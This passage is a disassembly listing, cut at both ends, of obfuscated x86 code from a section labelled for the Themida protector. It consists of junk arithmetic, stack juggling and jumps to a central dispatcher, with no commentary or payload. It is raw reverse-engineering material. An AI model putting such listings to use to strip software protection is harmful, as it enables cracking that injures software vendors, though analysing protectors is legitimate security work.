edx, ebx pop ebx add edx, esi add edx, 3E2622F2h push dword ptr [esp] pop esi add esp, 4 xchg edx, [esp] mov esp, [esp] btr [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558C3C: ; CODE XREF: Themida_:00551615j push ecx pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558C43: ; CODE XREF: Themida_:00559E3Fj pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] rep movsd add esp, [edx+38h] push 40DCh mov [esp], edi mov edi, 3D340288h or edi, 5D942800h shr edi, 6 sub esp, 4 mov [esp], ebx mov ebx, 535E0C3Ch add edi, ebx pop ebx xor edi, 0BE2BBA3h mov dword ptr [edx+38h], 5EB66745h push ecx mov ecx, 38h jmp loc_54EEC5 ; --------------------------------------------------------------------------- loc_558C94: ; CODE XREF: Themida_:0055A5FFj push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 push 3AC6h mov [esp], edx mov edx, 5116D9A7h add eax, 14F92C79h sub eax, edx jmp loc_55AA98 ; --------------------------------------------------------------------------- loc_558CBF: ; CODE XREF: Themida_:005507D4j xor eax, ecx pop ecx push eax jmp loc_54ED42 ; --------------------------------------------------------------------------- loc_558CC8: ; CODE XREF: Themida_:00559228j add eax, 2A9D3F84h add eax, ebx push ebx mov ebx, 2A9D3F84h sub eax, ebx pop ebx jmp loc_55AD81 ; --------------------------------------------------------------------------- loc_558CDD: ; CODE XREF: Themida_:00556B7Dj mov ebx, [esp] add esp, 4 add ebx, 4 push edx mov edx, 3A27267Dh dec edx sub edx, 2CE00667h dec edx sub esp, 4 mov [esp], eax push ebx jmp loc_54FC92 ; --------------------------------------------------------------------------- loc_558D06: ; CODE XREF: Themida_:00559552j push esp pop ebx push eax jmp loc_557B85 ; --------------------------------------------------------------------------- loc_558D0E: ; CODE XREF: Themida_:00552232j mov [esp], ecx mov ecx, 60665DD5h push ebp mov ebp, 4CDA6CF1h jmp loc_55AD76 ; --------------------------------------------------------------------------- loc_558D21: ; CODE XREF: Themida_:00553DDFj xchg edx, [esp] jmp loc_551EF9 ; --------------------------------------------------------------------------- loc_558D29: ; CODE XREF: Themida_:0055243Bj push ebp mov ebp, 29377D6Eh shl ebp, 3 xor ebp, 1C84482Fh xor ebp, 553FA35Bh add ecx, ebp pop ebp jmp loc_558177 ; --------------------------------------------------------------------------- loc_558D46: ; CODE XREF: Themida_:005509C3j pop esp push 630Bh jmp loc_54F958 ; --------------------------------------------------------------------------- loc_558D51: ; CODE XREF: Themida_:00558674j pop esp push dword ptr [esp] mov eax, [esp] add esp, 4 push edx mov edx, esp push ebx jmp loc_556544 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_54FBBF ; --------------------------------------------------------------------------- loc_558D70: ; CODE XREF: Themida_:00557880j pop edi add esi, 9109C8B8h shl esi, 4 jmp loc_555EB5 ; --------------------------------------------------------------------------- loc_558D7F: ; CODE XREF: Themida_:005528D4j sub edx, 5A33326Ch pop ebx sub edx, eax push eax mov eax, 21D21061h neg eax add eax, 883768B2h jmp loc_556165 ; --------------------------------------------------------------------------- loc_558D9A: ; CODE XREF: Themida_:00558B61j or edi, 3AC3353Dh jmp loc_553D5C ; --------------------------------------------------------------------------- loc_558DA5: ; CODE XREF: Themida_:0055AB68j pop ebx jmp loc_557C96 ; --------------------------------------------------------------------------- loc_558DAB: ; CODE XREF: Themida_:00557B18j pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_557039 ; --------------------------------------------------------------------------- loc_558DB7: ; CODE XREF: Themida_:005538C0j xor ebp, edx pop edx jmp loc_5569ED ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5520AE ; --------------------------------------------------------------------------- loc_558DC8: ; CODE XREF: Themida_:00558E41j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558DCD: ; CODE XREF: Themida_:00557537j add edx, 0F7F8FFF2h add ebx, edx mov edx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] cmp cl, al pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558DEC: ; CODE XREF: Themida_:00554DD0j pop edi push eax jmp loc_55B1D0 ; --------------------------------------------------------------------------- loc_558DF3: ; CODE XREF: Themida_:0054FB00j mov esi, esp jmp loc_550E94 ; --------------------------------------------------------------------------- loc_558DFA: ; CODE XREF: Themida_:005517F6j mov [esp], eax push ebx mov bl, dl mov ah, bl pop ebx mov bh, ah pop eax dec bh mov dl, bh jmp loc_5512A8 ; --------------------------------------------------------------------------- loc_558E0F: ; CODE XREF: Themida_:005581CAj xor ch, al xor al, ch jmp loc_559D3B ; --------------------------------------------------------------------------- loc_558E18: ; CODE XREF: Themida_:00552EB5j push bx push 6E03h mov [esp], ecx jmp loc_5583AA ; --------------------------------------------------------------------------- loc_558E27: ; CODE XREF: Themida_:00555790j inc ebx neg ebx xor ebx, 0AEF2F893h sub eax, ebx pop ebx jmp loc_551893 ; --------------------------------------------------------------------------- loc_558E38: ; CODE XREF: Themida_:005527A4j pop eax jmp loc_5557A7 ; --------------------------------------------------------------------------- loc_558E3E: ; CODE XREF: Themida_:00551A6Bj mov esp, [esp] jmp loc_558DC8 ; --------------------------------------------------------------------------- loc_558E46: ; CODE XREF: Themida_:005553AFj add esp, 4 pop edx jmp loc_55AE10 ; --------------------------------------------------------------------------- loc_558E4F: ; CODE XREF: Themida_:005543E2j not ebp not ebp shr ebp, 5 xor ebp, 75DD014Ah sub ebx, 465218C6h jmp loc_553B1F ; --------------------------------------------------------------------------- loc_558E67: ; CODE XREF: Themida_:00559CC6j pop edi xor eax, edx push dword ptr [esp] pop edx add esp, 4 push eax jmp loc_550C72 ; --------------------------------------------------------------------------- loc_558E77: ; CODE XREF: Themida_:0055AF5Bj mov edx, [esp] jmp loc_5518CB ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp], cl pushf jmp loc_552350 ; --------------------------------------------------------------------------- loc_558E8F: ; CODE XREF: Themida_:0055526Fj mov ebx, [esp] add esp, 4 jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_558E9A: ; CODE XREF: Themida_:00550159j sub edi, eax pop eax xchg edi, [esp] pop esp mov [esp], cx mov cl, 0B7h xor al, cl mov cx, [esp] jmp loc_556F69 ; --------------------------------------------------------------------------- loc_558EB2: ; CODE XREF: Themida_:00554DDAj pop dword ptr [esp] pop esp jmp loc_5538A1 ; --------------------------------------------------------------------------- loc_558EBB: ; CODE XREF: Themida_:00550AA3j add dword ptr [esp], 4 mov esi, [esp] jmp loc_55AC32 ; --------------------------------------------------------------------------- loc_558EC7: ; CODE XREF: Themida_:00550F9Dj add esp, 4 sub esp, 4 mov [esp], edi jmp loc_551D09 ; --------------------------------------------------------------------------- loc_558ED5: ; CODE XREF: Themida_:0054FE59j mov esp, [esp] push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_559B33 ; --------------------------------------------------------------------------- loc_558EEB: ; CODE XREF: Themida_:0055142Bj mov esi, esp push edx mov edx, 19042A79h jmp loc_5555D6 ; --------------------------------------------------------------------------- loc_558EF8: ; CODE XREF: Themida_:00559EF7j sub ebx, 210151h jmp loc_556B40 ; --------------------------------------------------------------------------- db 66h dd 56240C8Bh, 2434FF54h, 6768505Eh, 0E900003Dh, 0FFFFC932h ; --------------------------------------------------------------------------- loc_558F18: ; CODE XREF: Themida_:00555D4Dj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ebp mov ebp, esp add ebp, 4 push 1B82h mov [esp], ebx mov ebx, 566F11A5h neg ebx shr ebx, 7 and ebx, 12C75195h push eax mov eax, 354959F7h and ebx, eax pop eax sub ebx, offset sub_410190 add ebp, 5F1406CAh jmp loc_54EC42 ; --------------------------------------------------------------------------- loc_558F5D: ; CODE XREF: Themida_:0055AFA9j push ebx mov ebx, 3D6400F3h jmp loc_559536 ; --------------------------------------------------------------------------- loc_558F68: ; CODE XREF: Themida_:00551FD4j or edx, 4DA15257h jmp loc_558381 ; --------------------------------------------------------------------------- loc_558F73: ; CODE XREF: Themida_:00553F9Aj add ecx, edi jmp loc_553751 ; --------------------------------------------------------------------------- loc_558F7A: ; CODE XREF: Themida_:005506F0j push 1F25082h pop edx shl edx, 3 push ebp mov ebp, 3F6518F6h dec ebp shl ebp, 7 jmp loc_5566CC ; --------------------------------------------------------------------------- loc_558F92: ; CODE XREF: Themida_:00556581j mov esi, 556121A8h jmp loc_55AB1C ; --------------------------------------------------------------------------- loc_558F9C: ; CODE XREF: Themida_:00556C56j add ecx, esi jmp loc_55A7C9 ; --------------------------------------------------------------------------- loc_558FA3: ; CODE XREF: Themida_:00555E43j or edi, 30895B62h not edi jmp loc_5506F5 ; --------------------------------------------------------------------------- loc_558FB0: ; CODE XREF: Themida_:00551ACFj sub edx, 0EF6BA96Dh add ebp, 521B437Eh add ebp, edx sub ebp, 521B437Eh mov edx, [esp] push ebx jmp loc_54EEE1 ; --------------------------------------------------------------------------- loc_558FCD: ; CODE XREF: Themida_:00553112j push ebp mov ebp, 11D379ABh mov esi, ebp pop ebp and esi, 13FE496Eh xor esi, 1BEF1C4Dh inc esi add esi, 0F5C2AA9Ah mov ebx, esi pop esi add eax, ebx pop ebx xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] bts [esp], ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559006: ; CODE XREF: Themida_:005561ECj not edi xor edi, 5E6366FDh dec edi jmp loc_552A65 ; --------------------------------------------------------------------------- loc_559014: ; CODE XREF: Themida_:00553C74j mov [esp], ebx mov ebx, esp jmp loc_5539C7 ; --------------------------------------------------------------------------- loc_55901E: ; CODE XREF: Themida_:0055053Fj add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp mov [esp], edi push esp mov edi, [esp] add esp, 4 add edi, 4 push ebx mov ebx, 2 add edi, 4FE218F5h jmp loc_552F1E ; --------------------------------------------------------------------------- loc_559058: ; CODE XREF: Themida_:0054FFDEj add ecx, esi pop esi xchg ecx, [esp] pop esp xor ebx, eax movzx ax, byte ptr [eax] jmp loc_54FC54 ; --------------------------------------------------------------------------- loc_55906A: ; CODE XREF: Themida_:00555A6Bj pop ecx sub bl, dh mov edx, [esp] add esp, 4 jmp loc_5516E6 ; --------------------------------------------------------------------------- loc_55907B: ; CODE XREF: Themida_:00553530j pop esp xor [esp], eax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559085: ; CODE XREF: Themida_:00551720j push esi mov esi, esp add esi, 4 jmp loc_552758 ; --------------------------------------------------------------------------- loc_559093: ; CODE XREF: Themida_:00557ED1j push esi mov esi, 384E2E96h sub esi, 18F40237h inc esi push ebx mov ebx, 1F5A2C5Ch sub esi, ebx mov ebx, [esp] add esp, 4 add eax, esi pop esi xchg eax, [esp] mov esp, [esp] add edi, 4 add edi, 2 xor edi, [esp] jmp loc_54EE41 ; --------------------------------------------------------------------------- loc_5590C8: ; CODE XREF: Themida_:0054EF7Dj mov [esp], ebx mov bh, 0A1h push ecx mov ch, bh mov dh, ch pop ecx pop ebx jmp loc_55499C ; --------------------------------------------------------------------------- loc_5590D9: ; CODE XREF: Themida_:005567F8j mov edx, [esp] add esp, 4 push edx mov dh, 0B5h xor dh, 0D2h sub bl, dh pop edx add bl, al push ax jmp loc_54F105 ; --------------------------------------------------------------------------- loc_5590F4: ; CODE XREF: Themida_:00556922j mov [esp], esi push ebx jmp loc_554977 ; --------------------------------------------------------------------------- loc_5590FD: ; CODE XREF: Themida_:0054FF1Dj pop ebp push eax sub esp, 4 jmp loc_5599DD ; --------------------------------------------------------------------------- loc_55910A: ; CODE XREF: Themida_:0054F9EAj push dword ptr [esp] mov eax, [esp] add esp, 4 push esi jmp loc_550A9B ; --------------------------------------------------------------------------- push 227Fh jmp loc_554E4A ; --------------------------------------------------------------------------- loc_559123: ; CODE XREF: Themida_:00552AECj push 2F20h mov [esp], eax push 18CCh mov [esp], esp add dword ptr [esp], 4 pop eax push ebp mov ebp, 41AA4816h inc ebp xor ebp, 41AA4813h add eax, ebp jmp loc_55148A ; --------------------------------------------------------------------------- loc_55914C: ; CODE XREF: Themida_:0055AEB8j shl edi, 6 add edi, 6E1225E1h push 7A5h mov [esp], edx mov edx, 633E2110h sub edx, 0C65E9FB3h sub edi, edx jmp loc_54F35C ; --------------------------------------------------------------------------- loc_55916F: ; CODE XREF: Themida_:00559DF7j mov ecx, 0FCDC5743h add edx, 66F75B41h sub edx, 1C60260Fh sub edx, ecx jmp loc_552A40 ; --------------------------------------------------------------------------- loc_559187: ; CODE XREF: Themida_:005537F4j xor esi, ebp jmp loc_54FFDD ; --------------------------------------------------------------------------- loc_55918E: ; CODE XREF: Themida_:005555BCj add eax, edi jmp loc_55B093 ; --------------------------------------------------------------------------- loc_559195: ; CODE XREF: Themida_:0055634Fj pop eax push 7596h mov [esp], ecx push esp pop ecx add ecx, 4 jmp $+5 push 1D57h jmp loc_558236 ; --------------------------------------------------------------------------- loc_5591B5: ; CODE XREF: Themida_:0055A277j add ecx, ebx sub ecx, 21162888h pop ebx xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_554432 ; --------------------------------------------------------------------------- loc_5591CC: ; CODE XREF: Themida_:00554CADj push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebp, 4 push ecx jmp loc_55987A ; --------------------------------------------------------------------------- loc_5591EC: ; CODE XREF: Themida_:00558077j xchg ebp, [esp] jmp loc_5527C7 ; --------------------------------------------------------------------------- loc_5591F4: ; CODE XREF: Themida_:005511C8j mov edi, 0BC337F9h inc edi inc edi jmp loc_5575A3 ; --------------------------------------------------------------------------- loc_559200: ; CODE XREF: Themida_:005547F1j xchg esi, ebx pop esi inc ebx jmp loc_556C5B ; --------------------------------------------------------------------------- loc_559209: ; CODE XREF: Themida_:005563DFj mov esi, 0BC61057h add edx, esi pop esi add edx, ebp jmp loc_552A06 ; --------------------------------------------------------------------------- loc_559218: ; CODE XREF: Themida_:00559D67j pop edi jmp loc_558BCA ; --------------------------------------------------------------------------- loc_55921E: ; CODE XREF: Themida_:005597E0j pop esi push edi jmp loc_5561A8 ; --------------------------------------------------------------------------- loc_559225: ; CODE XREF: Themida_:00554C7Aj add eax, edx pop edx jmp loc_558CC8 ; --------------------------------------------------------------------------- loc_55922D: ; CODE XREF: Themida_:0054EBB5j add edx, 4 add edx, 4 jmp loc_552537 ; --------------------------------------------------------------------------- loc_55923B: ; CODE XREF: Themida_:0055628Cj push esi jmp loc_55621D ; --------------------------------------------------------------------------- loc_559241: ; CODE XREF: Themida_:00554F9Cj pop eax add eax, 4 push ebp mov ebp, 6D486293h jmp loc_55823E ; --------------------------------------------------------------------------- loc_559252: ; CODE XREF: Themida_:00559531j add esp, 4 sub ecx, 7EA90ABDh sub ecx, eax add ecx, 7EA90ABDh pop eax push ecx sub dword ptr [esp], 1 pop ecx sub ecx, 47011DA2h push ecx mov ecx, 0A475605h jmp loc_55292F ; --------------------------------------------------------------------------- loc_559281: ; CODE XREF: Themida_:00555770j pop eax pop edx sub esp, 4 mov [esp], edi mov edi, 7D3B2CEFh jmp loc_554441 ; --------------------------------------------------------------------------- loc_559296: ; CODE XREF: Themida_:00552171j ; Themida_:00555F95j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_556D18 ; --------------------------------------------------------------------------- loc_5592A7: ; CODE XREF: Themida_:00558A73j pop dx push ecx mov ch, 63h push edx mov dl, 65h sub esp, 2 mov [esp], bx push eax mov al, 8Ch mov bl, 0C6h sub bl, al pop eax sub dl, bl pop bx shr dl, 6 jmp loc_557A9C ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_554E7A ; --------------------------------------------------------------------------- loc_5592DC: ; CODE XREF: Themida_:0055166Aj sub ecx, ebx pop ebx mov [edi+24h], ecx pop ecx xor edx, edx push 420Ah mov [esp], ebx push dword ptr [esp] mov eax, [esp] jmp loc_5501CD ; --------------------------------------------------------------------------- loc_5592F8: ; CODE XREF: Themida_:00553D04j add esi, edx pop edx push 7EC2h mov [esp], ebp push 55A3h jmp loc_553F36 ; --------------------------------------------------------------------------- lodsb push dx mov dh, 0B7h jmp loc_559557 ; --------------------------------------------------------------------------- loc_559317: ; CODE XREF: Themida_:005569E8j xor ebp, 3E6964FBh add eax, ebp jmp loc_55AF03 ; --------------------------------------------------------------------------- loc_559324: ; CODE XREF: Themida_:005520A9j xor edi, [esp] mov esp, [esp] or edx, eax shl edx, 1 push edx mov edx, 1 jmp loc_5586D8 ; --------------------------------------------------------------------------- loc_559339: ; CODE XREF: Themida_:00551873j mov edx, 18AC104Eh jmp loc_555133 ; --------------------------------------------------------------------------- loc_559343: ; CODE XREF: Themida_:00550B48j mov esi, 7C200556h xor esi, 6F003852h jmp loc_54FEDB ; --------------------------------------------------------------------------- lodsd push 6C67h mov [esp], ebx push 28716106h pop ebx not ebx sub ebx, 0A5697FEEh sub eax, ebx pop ebx sub eax, 157367A2h sub eax, 5ADE74D2h sub eax, 8863E2Bh sub eax, ebx add eax, 8863E2Bh add eax, 5ADE74D2h add eax, 157367A2h push edx push 67092316h pop edx push ecx mov ecx, 2315203Ch shr ecx, 1 dec ecx jmp loc_55AB04 ; --------------------------------------------------------------------------- loc_5593A2: ; CODE XREF: Themida_:00553D88j push edx mov edx, 460A427Bh jmp loc_558273 ; --------------------------------------------------------------------------- loc_5593AD: ; CODE XREF: Themida_:00550E56j push eax mov eax, 2 jmp loc_556C3A ; --------------------------------------------------------------------------- loc_5593B8: ; CODE XREF: Themida_:00555443j xor ebp, [esp] mov esp, [esp] jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5593C3: ; CODE XREF: Themida_:00559FFAj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_54EBC3 ; --------------------------------------------------------------------------- loc_5593D5: ; CODE XREF: Themida_:0055A16Ej push 2CE6h mov [esp], edi sub esp, 4 mov [esp], esi jmp loc_54FCF5 ; --------------------------------------------------------------------------- loc_5593E8: ; CODE XREF: Themida_:00551485j add ebp, edx pop edx xchg ebp, [esp] pop esp idiv cx push small 6238h mov [esp], dx push ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559402: ; CODE XREF: Themida_:00550CDFj pop esp mov [esp], eax push 4D0A6C7Eh pop eax inc eax jmp loc_552BD1 ; --------------------------------------------------------------------------- loc_559412: ; CODE XREF: Themida_:00555A5Ej mov eax, esp push edx mov edx, 42E92D34h push esi mov esi, 51BB3DB4h add edx, esi pop esi and edx, 30013392h sub edx, 1000227Ch jmp loc_5502D7 ; --------------------------------------------------------------------------- loc_559434: ; CODE XREF: Themida_:0055AE6Dj sub eax, 62640508h push ebx mov ebx, 5CC42D1Dh inc ebx inc ebx neg ebx push esi mov esi, 3C387ACBh and ebx, esi pop esi push edi mov edi, 0B85673D7h add ebx, edi pop edi add eax, ebx pop ebx push edi mov edi, 12F04247h shr edi, 1 xor edi, 47116105h jmp loc_55785B ; --------------------------------------------------------------------------- loc_55946B: ; CODE XREF: Themida_:00556BDBj sub ecx, 5735106Ah add ecx, esi add ecx, 5735106Ah pop esi xchg ecx, [esp] pop esp jmp loc_5551A5 ; --------------------------------------------------------------------------- loc_559483: ; CODE XREF: Themida_:005573A6j add eax, 599A2A90h add eax, ebp sub eax, 599A2A90h pop ebp jmp loc_553B5B ; --------------------------------------------------------------------------- loc_559495: ; CODE XREF: Themida_:00551525j xor ecx, 6AAC4A60h mov edi, ecx jmp loc_55AEB7 ; --------------------------------------------------------------------------- loc_5594A2: ; CODE XREF: Themida_:0055127Dj add edx, 4 xchg edx, [esp] pop esp jmp loc_5506DC ; --------------------------------------------------------------------------- loc_5594B1: ; CODE XREF: Themida_:00556D44j mov esp, [esp] add [esp], ax pushf jmp loc_552155 ; --------------------------------------------------------------------------- loc_5594BE: ; CODE XREF: Themida_:005564D6j xor ebx, 19937834h jmp loc_55B161 ; --------------------------------------------------------------------------- loc_5594C9: ; CODE XREF: Themida_:00551457j push esp pop ebp push eax mov eax, 4 jmp loc_5550D1 ; --------------------------------------------------------------------------- loc_5594D6: ; CODE XREF: Themida_:005550AEj or ebx, ebp pop ebp and ebx, 22BD5E29h shr ebx, 6 neg ebx add ebx, 40F86E7Bh xor ebx, 6743772h jmp loc_554E5A ; --------------------------------------------------------------------------- loc_5594F5: ; CODE XREF: Themida_:0055970Cj pop edx mov dl, 57h sub dl, 90h sub dl, cl add dl, 90h pop ecx add al, dl pop dx jmp loc_5568CD ; --------------------------------------------------------------------------- loc_55950A: ; CODE XREF: Themida_:00552C3Aj sub edx, 27286650h add edx, edi add edx, 27286650h jmp loc_54EDBD ; --------------------------------------------------------------------------- loc_55951D: ; CODE XREF: Themida_:0054F6E0j sub edi, 1446B017h add esi, edi pop edi jmp loc_558B7D ; --------------------------------------------------------------------------- loc_55952B: ; CODE XREF: Themida_:005559D5j pop ebx mov eax, ecx mov ecx, [esp] jmp loc_559252 ; --------------------------------------------------------------------------- loc_559536: ; CODE XREF: Themida_:00558F63j add edx, ebx mov ebx, [esp] push ebp push esp pop ebp add ebp, 4 push edi jmp loc_559B23 ; --------------------------------------------------------------------------- loc_55954A: ; CODE XREF: Themida_:0054EFABj push 36C3h mov [esp], ebx jmp loc_558D06 ; --------------------------------------------------------------------------- loc_559557: ; CODE XREF: Themida_:00559312j add al, 0D7h sub al, dh jmp loc_54FEFA ; --------------------------------------------------------------------------- loc_559560: ; CODE XREF: Themida_:0055632Bj push esi mov esi, 1F9C426Bh and esi, 7C1E0D8Fh xor esi, 6A70460Fh sub ebx, esi pop esi add ebx, eax jmp loc_5568FB ; --------------------------------------------------------------------------- loc_55957C: ; CODE XREF: Themida_:00559F3Cj sub bl, dl add bl, 0CAh sub bl, 13h mov edx, [esp] add esp, 4 sub bl, 60h jmp loc_55017B ; --------------------------------------------------------------------------- loc_559592: ; CODE XREF: Themida_:0055556Dj jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559597: ; CODE XREF: Themida_:0054F56Cj or edi, ecx jmp loc_5514CD ; --------------------------------------------------------------------------- loc_55959E: ; CODE XREF: Themida_:0055855Cj add edi, 4 xchg edi, [esp] pop esp add esp, 4 xor eax, 1952077Bh push ecx mov ecx, 22024922h jmp loc_5518F2 ; --------------------------------------------------------------------------- loc_5595BB: ; CODE XREF: Themida_:00554F4Bj xor ecx, ebx pop ebx jmp loc_551005 ; --------------------------------------------------------------------------- loc_5595C3: ; CODE XREF: Themida_:00552CA8j add esp, 4 or [edi+1Ch], ebx push dword ptr [esp] jmp loc_556A49 ; --------------------------------------------------------------------------- loc_5595D1: ; CODE XREF: Themida_:0055AE63j mov ah, 89h push eax mov ah, 0E2h sub dl, ah pop eax sub dl, ah add dl, 0E2h jmp loc_555237 ; --------------------------------------------------------------------------- loc_5595E3: ; CODE XREF: Themida_:00559B78j mov [esp], edx mov edx, 2 add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx jmp loc_55A785 ; --------------------------------------------------------------------------- loc_5595F9: ; CODE XREF: Themida_:00558A90j jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_5595FE: ; CODE XREF: Themida_:0055037Aj mov fs:[edx], al jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559606: ; CODE XREF: Themida_:005518B6j sub ecx, 0EBA5EE79h add eax, ecx jmp loc_55510A ; --------------------------------------------------------------------------- loc_559613: ; CODE XREF: Themida_:0055453Fj not dword ptr [esp] pop eax dec eax jmp loc_553A5D ; --------------------------------------------------------------------------- loc_55961D: ; CODE XREF: Themida_:0055AD8Fj push 355B1E3Fh jmp loc_54F4BD ; --------------------------------------------------------------------------- loc_559627: ; CODE XREF: Themida_:0054F4DFj add bh, 4Ah jmp loc_54F571 ; --------------------------------------------------------------------------- loc_55962F: ; CODE XREF: Themida_:00558463j add eax, edi pop edi push ecx mov ecx, 274A0599h jmp loc_5546FA ; --------------------------------------------------------------------------- loc_55963D: ; CODE XREF: Themida_:00556C4Bj mov ebx, 11AA0842h xor ebx, 33CE1160h dec ebx add ebx, 667D0EF3h neg ebx xor ebx, 2F6495CBh jmp loc_550A7B ; --------------------------------------------------------------------------- loc_55965C: ; CODE XREF: Themida_:00551404j and dh, 0D0h xor dh, 0EEh xor dh, 76h mov ah, dh pop edx jmp loc_55AB6D ; --------------------------------------------------------------------------- loc_55966D: ; CODE XREF: Themida_:00551D3Cj xor ebp, 1C3551F0h shr ebp, 2 push edx mov edx, 577C52ACh and edx, 0EFF3818h jmp loc_554A66 ; --------------------------------------------------------------------------- loc_559687: ; CODE XREF: Themida_:0055A71Ej pop edx add esp, 4 push 523Ch jmp loc_5581B4 ; --------------------------------------------------------------------------- loc_559695: ; CODE XREF: Themida_:005541B3j xchg ebx, [esp] pop esp mov [esp], esi mov esi, esp add esi, 4 add esi, 2 xchg esi, [esp] pop esp jmp loc_559ECE ; --------------------------------------------------------------------------- loc_5596B3: ; CODE XREF: Themida_:0055AD7Cj inc ebp add ebp, 731D1425h and ebp, 3AE53E40h not ebp add ebp, 1764342Dh and ecx, ebp pop ebp push esi mov esi, 76C628FCh or esi, 6BB5270Dh not esi shl esi, 6 push ecx jmp loc_557CF1 ; --------------------------------------------------------------------------- loc_5596E2: ; CODE XREF: Themida_:00550D89j neg eax dec eax xor eax, 8A174CC6h jmp loc_554C93 ; --------------------------------------------------------------------------- loc_5596EF: ; CODE XREF: Themida_:00553EEAj add esp, 4 jmp loc_55A31F ; --------------------------------------------------------------------------- loc_5596F7: ; CODE XREF: Themida_:00557B54j add eax, ecx jmp loc_5558D9 ; --------------------------------------------------------------------------- loc_5596FE: ; CODE XREF: Themida_:00556D93j sub esp, 4 jmp loc_54F7D7 ; --------------------------------------------------------------------------- loc_559706: ; CODE XREF: Themida_:0054FC8Dj push ecx push edx mov dl, 6Bh mov cl, dl jmp loc_5594F5 ; --------------------------------------------------------------------------- loc_559711: ; CODE XREF: Themida_:0055A31Aj pop edx jmp loc_554490 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push edx jmp loc_551777 ; --------------------------------------------------------------------------- loc_559720: ; CODE XREF: Themida_:005520BCj mov ebx, 4 add eax, ebx pop ebx jmp loc_54EA89 ; --------------------------------------------------------------------------- loc_55972D: ; CODE XREF: Themida_:00553192j mov ecx, 2 add edi, ecx push dword ptr [esp] pop ecx add esp, 4 push edi push dword ptr [esp+4] jmp loc_556DD9 ; --------------------------------------------------------------------------- loc_559748: ; CODE XREF: Themida_:00555465j push edx mov edx, 0 mov ebx, edx pop edx sub ebx, 1D9A5AC8h push ebp mov ebp, 30AC01CDh shr ebp, 1 and ebp, 2B83389h sub ebp, 67174401h shl ebp, 7 xor ebp, 208525E2h jmp loc_557E1B ; --------------------------------------------------------------------------- loc_559779: ; CODE XREF: Themida_:0055512Ej pop esp jmp loc_554240 ; --------------------------------------------------------------------------- loc_55977F: ; CODE XREF: Themida_:00559AA5j add ch, 7Dh add ch, bl sub ch, 7Dh pop ebx add ch, 0CFh jmp loc_55A3D2 ; --------------------------------------------------------------------------- loc_559790: ; CODE XREF: Themida_:00558A1Dj pop eax neg edx xor edx, 4A501F0Bh push ebp mov ebp, 7E133C78h sub edx, 170457D7h add edx, ebp jmp loc_5579B4 ; --------------------------------------------------------------------------- loc_5597AC: ; CODE XREF: Themida_:0055549Ej mov eax, edx jmp loc_55336C ; --------------------------------------------------------------------------- loc_5597B3: ; CODE XREF: Themida_:005583F1j mov [esp], eax push esp mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 4 add eax, edx pop edx push esi mov esi, 2 add eax, 4B723C25h add eax, esi sub eax, 4B723C25h push dword ptr [esp] jmp loc_55921E ; --------------------------------------------------------------------------- loc_5597E5: ; CODE XREF: Themida_:005579AFj pop ecx add ebp, eax push dword ptr [esp] pop eax add esp, 4 add ebp, 2 push 33BFh mov [esp], ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp cmp cx, ax pushf jmp loc_54EA5C ; --------------------------------------------------------------------------- loc_559817: ; CODE XREF: Themida_:0055A82Fj sub edx, 0E9C360Eh mov ecx, [esp] jmp loc_5571CE ; --------------------------------------------------------------------------- loc_559825: ; CODE XREF: Themida_:005558B1j sub al, dl mov edx, [esp] jmp loc_551689 ; --------------------------------------------------------------------------- loc_55982F: ; CODE XREF: Themida_:0054F27Bj push edi push esp mov edi, [esp] add esp, 4 add edi, 4 sub esp, 4 mov [esp], edx mov edx, 2 add edi, edx pop edx jmp loc_54F268 ; --------------------------------------------------------------------------- loc_559856: ; CODE XREF: Themida_:00553B06j pop ebx add ebx, 782E1DE1h mov ecx, ebx jmp loc_557AB5 ; --------------------------------------------------------------------------- loc_559864: ; CODE XREF: Themida_:0054FD69j pop ebp add ebp, 406574E1h pop edx add ebx, ebp pop ebp add ebx, 4 jmp loc_559995 ; --------------------------------------------------------------------------- loc_55987A: ; CODE XREF: Themida_:005591E7j mov ecx, 2 add ebp, ecx pop ecx sub esp, 4 jmp loc_559BFE ; --------------------------------------------------------------------------- loc_55988A: ; CODE XREF: Themida_:00552BC6j mov ebx, esp jmp loc_5528D9 ; --------------------------------------------------------------------------- loc_559891: ; CODE XREF: Themida_:00553F14j pop ecx pop ebx add ebx, 4 push ecx jmp loc_54F5B0 ; --------------------------------------------------------------------------- loc_55989F: ; CODE XREF: Themida_:005572E9j sub dword ptr [esp+4], 14CC38DAh sub dword ptr [esp+4], 55B54BC8h add [esp+4], ebx add dword ptr [esp+4], 55B54BC8h add dword ptr [esp+4], 